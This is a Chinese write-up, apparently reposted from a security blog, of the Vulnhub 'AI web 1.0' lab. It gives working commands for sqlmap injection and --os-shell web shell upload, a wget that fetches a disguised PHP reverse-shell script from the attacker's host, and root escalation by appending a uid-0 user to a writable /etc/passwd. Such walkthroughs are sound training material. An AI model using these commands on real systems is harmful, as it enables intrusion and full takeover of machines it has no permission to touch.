Vulnhub之AI web1.0

admin 2022年7月13日10:22:26评论15 views字数 2124阅读7分4秒阅读模式

Pdsdt 2019.10.1

在这个举国欢庆的日子里,我充满自豪感的看完了阅兵,正准备打开公司CEO(glzjin)的buuoj平台继续刷刷web和一些入门re,忽然想起CEO说国庆平台要关闭,无奈之下,就想找几个Vulnhub的靶场练练手,刚好在T00ls看到有篇投稿文章写的AI web1.0,于是乎就下载下来练练,还算是一个比较基础的靶场,新入门的WEB手可以做一下熟悉一下工具操作。

  1. https://www.vulnhub.com/entry/ai-web-1,353/

考点

sql注入

sqlmap写shell

敏感文件/etc/passwd

反弹shell,提权**

信息收集

因为靶场版本的关系,没有搭建到内网ESXI上,直接在本机启动,用本机的kali扫描,发现IP

Vulnhub之AI web1.0

靶机ip为:192.168.235.135


使用nmap进行一波信息收集

  1. nmap -sS -v -T4 -Pn -A -p 0-65535 172.192.168.235.135

可以看到靶机只开放了80端口,显示是让我们从web端入手了

Vulnhub之AI web1.0

访问web页面

Vulnhub之AI web1.0

除了一句话没有别的内容了,尝试访问一下WEB页面存在的一些敏感目录,发现存在robots.txt

Vulnhub之AI web1.0

逐一访问这些目录

经测试发现/m3diNf0/目录下存在info.php页面

Vulnhub之AI web1.0

/se3reTdir777/目录下存在uploads目录和index.php页面,猜想可能存在需要我们上次的地方

Vulnhub之AI web1.0

信息收集完毕,下一步重点对/se3reTdir777/目录下的页面进行测试


SQL注入

观察页面发现一股浓浓的sql注入味道散发出来,二话不说,先手测一波看看是否存在sql注入

Vulnhub之AI web1.0

测试存在注入,而且还没有过滤什么的,此时就祭出神器SQLMAP了

先测试一波

Vulnhub之AI web1.0

当了一波数据,发现没有可利用的信息,于是就想着看看数据库用户,能不能直接写shell

  1. sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --current-user

Vulnhub之AI web1.0

尝试写shell

  1. sqlmap -u "http://192.168.235.135/se3reTdir777/index.php" --data "uid=1'or 1=1&Operation=submit" --os-shell

Vulnhub之AI web1.0

sqlmap显示让我们提供目录,这个时候就需要用到info.php的信息了

查看一波网站根目录数据

Vulnhub之AI web1.0

尝试写入/home/www/html/web1x443290o2sdf92213目录

Vulnhub之AI web1.0

提示我们没有写入的权限

这个时候想到在/se3reTdir777/目录下还存在uploads目录,而且一般的uploads目录都是777的权限,随即把shell尝试写在uploads目录下

  1. /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/ #目录位置

Vulnhub之AI web1.0

查看当前用户

Vulnhub之AI web1.0

尝试提权,既然有php的环境,先用上Kali自带的php反弹shell脚本

将脚本放到kali的网站根目录下,在sqlmap上使用wget命令下载

  1. wget http://192.168.235.134/getshell1.jpg

Vulnhub之AI web1.0

使用kali监听端口,在sqlmap上执行命令

Vulnhub之AI web1.0

成功反弹shell,利用python获取持续性shell

  1. python -c 'import pty;pty.spawn("/bin/bash")'

  2. python3 -c 'import pty;pty.spawn("/bin/bash")' # 因为靶机环境没有python2的环境,这里使用python3进行反弹

Vulnhub之AI web1.0

下一步进行提权,首先查看/etc/passwd文件

Vulnhub之AI web1.0

Vulnhub之AI web1.0

惊奇的发现www-data用户,对文件可写,我们完全可以在/etc/passwd文件下添加一个root级别的用户,这样就可以直接获取到靶机的root权限,到这里我们需要了解/etc/passwd的存储用户方式,加密的密码我们可以通过kali自带的openssl生成

  1. rkali:~# openssl passwd -1 -salt ginkgo pass123

  2. $1$ginkgo$2D4qzi54AAAoy8rg6qpGX/

  3. # 这里ginkgo是我的用户名,pass123是用户的密码

  4. 所以写入/etc/passwd的形式为

  5. ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash

  6. # uid为0,gid为0,根目录为root

写入/etc/passwd文件中

  1. www-data@aiweb1:/$echo 'ginkgo:$1$ginkgo$2D4qzi54AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd

  2. <4AAAoy8rg6qpGX/:0:0::/root:/bin/bash' >>/etc/passwd

查看文件是否写入成功

Vulnhub之AI web1.0

可以看到,成功写入,下一步切换到我们添加的用户

Vulnhub之AI web1.0

成功获取到root权限,cat flag.txt

Vulnhub之AI web1.0



原文始发于微信公众号(Ginkgo信息安全实验室):Vulnhub之AI web1.0

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日10:22:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub之AI web1.0https://cn-sec.com/archives/1038250.html

发表评论

匿名网友 填写信息